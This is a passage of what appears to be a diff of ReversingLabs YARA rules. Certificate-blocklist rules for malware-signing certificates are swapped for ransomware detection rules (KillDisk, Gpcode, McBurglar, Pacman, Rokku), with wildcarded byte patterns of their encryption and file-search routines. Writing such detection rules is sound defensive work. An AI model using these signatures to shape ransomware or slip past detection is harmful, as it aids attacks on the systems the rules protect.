?? 0F 84 ?? ?? + ?? ?? 89 04 24 8B 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC + ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 0C 24 89 44 24 ?? 8B 8D ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PORT-SERVIS LTD" and ( pe.signatures [ i ] . serial == "00:da:00:0d:18:94:9c:24:7d:4d:df:c2:58:5c:c8:bd:0f" or pe.signatures [ i ] . serial == "da:00:0d:18:94:9c:24:7d:4d:df:c2:58:5c:c8:bd:0f" ) and 1564444800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $enum_resources_p* ) ) and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_06E842D3Ea6249D783D6B55E29C060C7 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Killdisk : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects KillDisk ransomware." author = "ReversingLabs" - id = "37829f07-c569-5e46-8b7a-2137c4c801e8" - date = "2020-08-05" - modified = "2023-11-08" + id = "bd04ac88-987a-58f0-8f0a-508662b3c930" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3526-L3542" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.KillDisk.yara#L1-L80" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9f71de0119527c8580f9e47e3fba07242814c5a537d727d4541fd7a802b0cb86" + logic_hash = "6148e6fc1363ff8995a9100e07139bfa658c72892db4d30a973bad0f2b3e6c3f" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "KillDisk" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 8B AC 24 ?? ?? ?? + ?? 56 57 33 FF 8B F1 3B F7 89 7D ?? 89 7D ?? 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 + FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 95 C0 84 C0 75 ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 56 8D + 4C 24 ?? 89 7C 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? B8 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 8B 5C 24 ?? 3B DF 8B 44 24 ?? 89 45 ?? 89 5D ?? 77 ?? 83 F8 ?? 0F 82 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ?? 57 6A ?? 68 ?? ?? ?? ?? 56 FF 15 + ?? ?? ?? ?? 8B E8 3B EF 0F 84 ?? ?? ?? ?? 83 FD ?? 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? + ?? 33 C0 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 + 44 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 6A ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 54 + 24 ?? 57 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 85 C0 0F + 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 4C 24 ?? 51 8D 54 24 ?? 89 7C 24 ?? 52 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 85 C0 0F 84 ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 8B C6 05 ?? ?? ?? ?? 50 8B CB 83 D1 ?? 51 + 6A ?? 6A ?? 55 FF 15 ?? ?? ?? ?? 85 C0 89 44 24 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 + ?? ?? ?? ?? 8D 4C 24 ?? 51 53 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 0F 84 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? B9 ?? ?? ?? ?? 8D B4 + 24 ?? ?? ?? ?? 8D 7C 24 ?? 8D 44 24 ?? F3 A5 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8B 08 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 + ?? ?? ?? ?? 8B 50 ?? 89 94 24 ?? ?? ?? ?? 8B 48 ?? 89 8C 24 ?? ?? ?? ?? 8B 50 ?? 8D + 74 24 ?? 89 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 6A ?? 6A ?? 53 50 55 FF 15 + ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 51 68 ?? ?? ?? ?? 8D 54 24 ?? 52 55 C7 44 24 ?? ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 8B F0 8B 44 24 ?? F7 DE 1B F6 83 E6 ?? 50 83 C6 ?? FF 15 ?? + ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 8B 44 24 ?? 50 BE ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 55 FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB + ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B C6 EB ?? 55 BE ?? ?? ?? ?? FF 15 ?? ?? ?? + ?? 8B C6 EB ?? BE ?? ?? ?? ?? 8B C6 EB ?? B8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E + 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 + } + $app_whitelisting_1 = { + 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 32 DB FF 15 + ?? ?? ?? ?? 6A ?? 6A ?? 89 44 24 ?? FF 15 ?? ?? ?? ?? 8B E8 85 ED 89 6C 24 ?? 0F 84 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? + 51 55 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 64 24 ?? + 8B 54 24 ?? 3B 54 24 ?? 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? ?? 33 FF E8 ?? ?? ?? ?? 85 C0 + 0F 86 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B C1 + 2B C3 C1 F8 ?? 3B C7 0F 86 ?? ?? ?? ?? 3B D9 8B F3 76 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? + ?? ?? 8B 0D ?? ?? ?? ?? 89 74 24 ?? 8D 34 BE 3B F1 B8 ?? ?? ?? ?? 8B E8 77 ?? 3B F3 + 73 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 3B 75 ?? 72 ?? E8 ?? ?? ?? ?? 8B 1D ?? ?? ?? + ?? 8B 44 24 ?? 39 06 74 ?? B8 ?? ?? ?? ?? 83 C7 ?? E8 ?? ?? ?? ?? 3B F8 72 ?? 8B 6C + 24 ?? 8B 74 24 ?? FF 15 ?? ?? ?? ?? 3B F0 74 ?? 85 F6 74 ?? 56 6A ?? 6A ?? FF 15 ?? + ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? EB ?? 8B + 6C 24 ?? 8D 4C 24 ?? 51 55 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B3 ?? 55 FF 15 + ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 8A C3 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? + ?? ?? C3 + } + $app_whitelisting_2 = { + 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 56 A1 ?? ?? ?? ?? 33 C4 50 8D 44 + 24 ?? 64 A3 ?? ?? ?? ?? 8D 44 24 ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 70 ?? C7 44 + 24 ?? ?? ?? ?? ?? 56 C7 06 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 C0 74 ?? 8B 36 EB + ?? 33 F6 6A ?? 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8B 44 24 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7C 24 ?? ?? 72 ?? 8B 4C 24 + ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D + ?? ?? ?? ?? 59 5E 83 C4 ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PORT-SERVIS LTD, TOV" and pe.signatures [ i ] . serial == "06:e8:42:d3:ea:62:49:d7:83:d6:b5:5e:29:c0:60:c7" and 1565568000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and $encrypt_files and $app_whitelisting_1 and $app_whitelisting_2 } - -rule REVERSINGLABS_Cert_Blocklist_06473C3C19D9E1A9429B58B6Faec2967 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Gpcode : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Gpcode ransomware." author = "ReversingLabs" - id = "01eba681-8c98-5553-b369-941b6dba11e2" - date = "2020-08-05" - modified = "2023-11-08" + id = "168833dd-44ab-59e1-a610-b9219b2907ff" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3544-L3560" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gpcode.yara#L1-L67" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f9ca49ce65d213dce803806956c0ce1da0c4068bea173daae9cb06dab0a86268" + logic_hash = "329309873977f73a8ebe758018ebc8ba42e15c3c7cbb9a65865631d235f5bb48" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "GPCode" + tc_detection_factor = 5 importance = 25 + strings: + $drive_loop = { + B9 19 00 00 00 BB 01 00 00 00 D3 E3 23 D8 74 ?? 80 + C1 ?? 88 0D ?? ?? ?? ?? 80 E9 ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 59 58 49 7D + } + $encrypt_routine = { + FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? [0-10] + E9 ?? ?? ?? ?? 6A ?? [1-10] FF 75 ?? FF 35 ?? ?? + ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 0B C0 75 ?? E9 ?? + ?? ?? ?? 68 ?? ?? ?? ?? [1-10] FF 35 ?? ?? ?? ?? + 6A ?? 6A ?? 6A ?? FF 35 ?? ?? ?? ?? (E8 | FF 15) + ?? ?? ?? ?? 0B C0 75 ?? (EB | E9) [1-4] 6A ?? + [2-10] FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 F8 ?? + 75 ?? [10-40] FF 35 ?? ?? ?? ?? FF 75 ?? E8 + } + $set_ransom_wallpaper = { + 0F B6 05 ?? ?? ?? ?? 83 F8 01 0F 85 ?? ?? ?? ?? + B9 ?? ?? ?? ?? BF ?? ?? ?? ?? 51 57 [2-20] 5F + 59 25 ?? ?? ?? ?? C1 E8 ?? 83 C0 ?? AA E2 ?? 33 + C0 AA 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? (E8 | FF 15) + } + $read_config_file = { + 55 8B EC 83 C4 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A + ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? + ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? 50 6A ?? + E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 89 45 ?? FF + 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 + 89 45 ?? 50 E8 ?? ?? ?? ?? 0B C0 75 04 33 C0 C9 C3 + 89 45 ?? FF 75 ?? 6A ?? E8 ?? ?? ?? ?? 0B C0 75 04 + 33 C0 C9 C3 89 45 ?? 8B D8 FF 75 ?? FF 75 ?? FF 75 + ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 5D ?? + 6A ?? 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C3 ?? 8B + 45 ?? 83 E8 ?? 50 53 E8 ?? ?? ?? ?? 8A 03 A2 ?? ?? + ?? ?? 83 C3 ?? 8A 03 A2 ?? ?? ?? ?? 83 C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Leadership Solutions Limited" and pe.signatures [ i ] . serial == "06:47:3c:3c:19:d9:e1:a9:42:9b:58:b6:fa:ec:29:67" and 1581984001 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $drive_loop and $encrypt_routine and $set_ransom_wallpaper and $read_config_file ) } - -rule REVERSINGLABS_Cert_Blocklist_39F56251Df2088223Cc03494084E6081 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Mcburglar : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects McBurglar ransomware." author = "ReversingLabs" - id = "0c475e89-9729-53b9-a301-7a9faa0fef91" - date = "2020-08-05" - modified = "2023-11-08" + id = "11816401-87c3-5aff-b161-da0fa4eb4bca" + date = "2021-09-27" + modified = "2021-09-27" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3562-L3578" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.McBurglar.yara#L1-L75" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c87850f91758a5bb3bdf6f6d7de9a3f53077d64cebdde541ac0742d3cea4f4e0" + logic_hash = "57fefcdc1528fc1c8da36a431cd09774e33ea08a394ac4f8d19a27504e72676d" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "McBurglar" + tc_detection_factor = 5 importance = 25 + strings: + $setup_env = { + 00 7E ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? + ?? 1B 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 00 7E ?? ?? ?? ?? 1F ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 28 ?? ?? ?? ?? 00 28 ?? ?? + ?? ?? 00 2A + } + $encrypt_files_p1 = { + 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 73 ?? ?? ?? ?? 0B 07 12 ?? 28 ?? ?? ?? ?? + 7D ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 + 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DC 2A + } + $encrypt_files_p2 = { + 00 28 ?? ?? ?? ?? 0A 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? + ?? 0C 28 ?? ?? ?? ?? 03 6F ?? ?? ?? ?? 0D 73 ?? ?? ?? ?? 13 ?? 11 ?? 20 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 00 11 ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 18 6F ?? ?? ?? ?? 00 09 06 + 20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 00 11 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? + ?? 00 11 ?? 1A 6F ?? ?? ?? ?? 00 07 06 16 06 8E 69 6F ?? ?? ?? ?? 00 07 11 ?? 6F ?? ?? + ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? + 13 ?? 00 2B ?? 00 11 ?? 11 ?? 16 11 ?? 6F ?? ?? ?? ?? 00 00 11 ?? 11 ?? 16 11 ?? 8E 69 + 6F ?? ?? ?? ?? 25 13 ?? 16 FE 02 13 ?? 11 ?? 2D ?? 11 ?? 6F ?? ?? ?? ?? 00 00 DE ?? 13 + ?? 00 72 ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? DE + ?? 00 11 ?? 6F ?? ?? ?? ?? 00 07 6F ?? ?? ?? ?? 00 00 DC 2A + } + $find_files = { + 00 00 02 28 ?? ?? ?? ?? 0A 00 06 0C 16 0D 2B ?? 08 09 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? + 00 00 09 17 58 0D 09 08 8E 69 32 ?? 02 28 ?? ?? ?? ?? 0B 00 07 13 ?? 16 13 ?? 2B ?? 11 + ?? 11 ?? 9A 13 ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 + ?? 00 DE ?? 26 00 00 DE ?? 2A + } + $generate_salt = { + 00 1F ?? 8D ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 00 16 0C 2B ?? 00 07 06 6F ?? ?? ?? ?? 00 + 00 08 17 58 0C 08 1F ?? FE 04 0D 09 2D ?? 00 DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? 00 DC 06 + 13 ?? 2B ?? 11 ?? 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Inter Med Pty. Ltd." and pe.signatures [ i ] . serial == "39:f5:62:51:df:20:88:22:3c:c0:34:94:08:4e:60:81" and 1583539200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $setup_env ) and ( $find_files ) and ( $generate_salt ) and ( all of ( $encrypt_files_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_1362E56D34Dc7B501E17Fa1Ac3C3E3D9 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Pacman : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Pacman ransomware." author = "ReversingLabs" - id = "9dccd009-eca1-5f21-b5ef-1a75f9d93c7d" - date = "2020-08-05" - modified = "2023-11-08" + id = "a440769b-030b-5b72-a6f2-cf478dd7acd2" + date = "2021-08-12" + modified = "2021-08-12" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3580-L3596" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.Pacman.yara#L1-L68" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0415c5a49076bab23dfc29ef2d6168b93d6bfde07a89ccb0368d2c967422407a" + logic_hash = "0634303a4db2631edb40a9435444f3bdc4bc6eb745c7e43a54478e54e7507403" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Pacman" + tc_detection_factor = 5 importance = 25 + strings: + $pacman_find_encrypted_1 = { + 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 28 + 29 02 00 06 1F 1C 28 0E 04 00 06 [0-2] 7E 13 00 00 04 20 0F 03 00 00 28 2F 00 00 06 25 + 26 28 5D 02 00 06 [0-2] 28 6D 01 00 06 [0-2] 0B 07 13 06 16 13 05 2B 31 11 06 11 05 9A + 0C 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] + 08 28 55 02 00 06 [0-2] 26 11 05 17 D6 13 05 11 05 11 06 8E B7 32 C7 1D 45 01 00 00 00 + F6 FF FF FF 17 2D 06 D0 1E 01 00 06 26 16 0A 38 BC 01 00 00 28 0A 00 00 06 [0-2] 6F 0D + 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 14 20 + B0 0F 00 00 28 2F 00 00 06 [0-2] 1F 0A 8D 76 00 00 01 13 07 11 07 16 20 BF 0F 00 00 28 + 2F 00 00 06 [0-2] A2 11 07 17 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 18 20 C5 0F + 00 00 28 2F 00 00 06 [0-2] A2 11 07 19 20 C8 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1A + 20 CB 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1B 20 CE 0F 00 00 28 2F 00 00 06 [0-2] A2 + } + $pacman_find_encrypted_2 = { + 11 07 1C 20 D1 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1D 20 D4 0F 00 00 28 2F 00 00 06 + [0-2] A2 11 07 1E 20 C2 0F 00 00 28 2F 00 00 06 [0-2] A2 11 07 1F 09 20 D7 0F 00 00 28 + 2F 00 00 06 [0-2] A2 11 07 14 14 14 28 7A 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 0D 28 07 + 00 00 06 28 1A 04 00 06 [0-2] 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 + [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 06 [0-2] 28 36 05 00 06 + [0-2] 2C 78 1A 45 01 00 00 00 F6 FF FF FF 7E 16 00 00 04 28 9D 02 00 06 [0-2] 28 0A 00 + 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 + 00 06 [0-2] 28 E2 05 00 06 [0-2] 09 16 28 23 01 00 06 28 0A 00 00 06 [0-2] 6F 0D 00 00 + 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] 06 28 AA 04 00 06 [0-2] 28 E2 05 00 + 06 [0-2] 28 66 04 00 06 DE 0F 25 28 4E 04 00 06 13 04 28 02 03 00 06 DE 00 06 17 D6 0A + 06 28 0A 00 00 06 [0-2] 6F 0D 00 00 06 [0-2] 6F 33 00 00 06 [0-2] 28 FD 01 00 06 [0-2] + 28 E2 04 00 06 [0-2] 3F 1B FE FF FF 1B 45 01 00 00 00 F6 FF FF FF 28 28 00 00 06 2A + } + $pacman_encrypt = { + 28 65 02 00 06 [0-2] 0A 16 13 05 20 00 04 00 00 13 07 06 11 07 28 2A 05 00 06 [0-2] 2C + 19 1C 45 01 00 00 00 F6 FF FF FF 17 2D 06 D0 20 01 00 06 26 11 07 13 05 2B 15 11 07 15 + D6 13 07 11 07 17 2F D0 17 45 01 00 00 00 F6 FF FF FF 20 DA 0F 00 00 28 2F 00 00 06 [0-2] + 11 05 28 9D 02 00 06 [0-2] 28 E2 02 00 06 [0-2] 28 6E 03 00 06 06 28 0A 03 00 06 [0-2] + 0B 14 13 04 14 0D 1F 0E 8D 25 00 00 01 13 0B 11 0B 16 ?? 9C 11 0B 17 ?? 9C 11 0B 18 + ?? 9C 11 0B 19 ?? 9C 11 0B 1A ?? 9C 11 0B 1B ?? 9C 11 0B 1C ?? 9C 11 0B 1D ?? 9C 11 0B + 1E 20 ?? ?? ?? ?? 9C 11 0B 1F 09 20 ?? ?? ?? ?? 9C 11 0B 1F 0A 20 ?? ?? ?? ?? 9C 11 0B + 1F 0B 1F ?? 9C 11 0B 1F 0C 1F ?? 9C 11 0B 1F 0D 1F ?? 9C 11 0B 13 06 02 11 06 11 05 07 + 12 04 12 03 28 1F 01 00 06 05 2C 18 18 45 01 00 00 00 F6 FF FF FF 06 11 04 09 28 96 03 + 00 06 [0-2] 0C 2B 0C 06 11 04 09 28 7E 05 00 06 [0-2] 0C 04 08 17 28 45 01 00 06 [0-2] + 13 08 20 01 04 00 00 8D 25 00 00 01 13 09 03 11 09 16 20 00 04 00 00 28 3A 03 00 06 [0-2] + 13 0A 11 0A 16 33 0C 1D 45 01 00 00 00 F6 FF FF FF DE 24 11 08 11 09 16 11 0A 28 F6 04 + 00 06 2B CF 11 08 2C 11 18 45 01 00 00 00 F6 FF FF FF 11 08 28 1E 03 00 06 DC DE 0C 28 + 4E 04 00 06 28 02 03 00 06 DE 00 08 28 1E 03 00 06 2A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"Amaranth\"" and pe.signatures [ i ] . serial == "13:62:e5:6d:34:dc:7b:50:1e:17:fa:1a:c3:c3:e3:d9" and 1575936000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $pacman_find_encrypted_1 and $pacman_find_encrypted_2 and $pacman_encrypt ) } - -rule REVERSINGLABS_Cert_Blocklist_4B83593Fc78D92Cfaa9Bdf3F97383964 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Rokku : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Rokku ransomware." author = "ReversingLabs" - id = "8b5a8a8e-16f5-5098-83e5-72820f4f548a" - date = "2020-08-05" - modified = "2023-11-08" + id = "8722ed4a-b480-57ec-bba7-ce7d0f3704b9" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3598-L3614" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Rokku.yara#L1-L147" license_url = 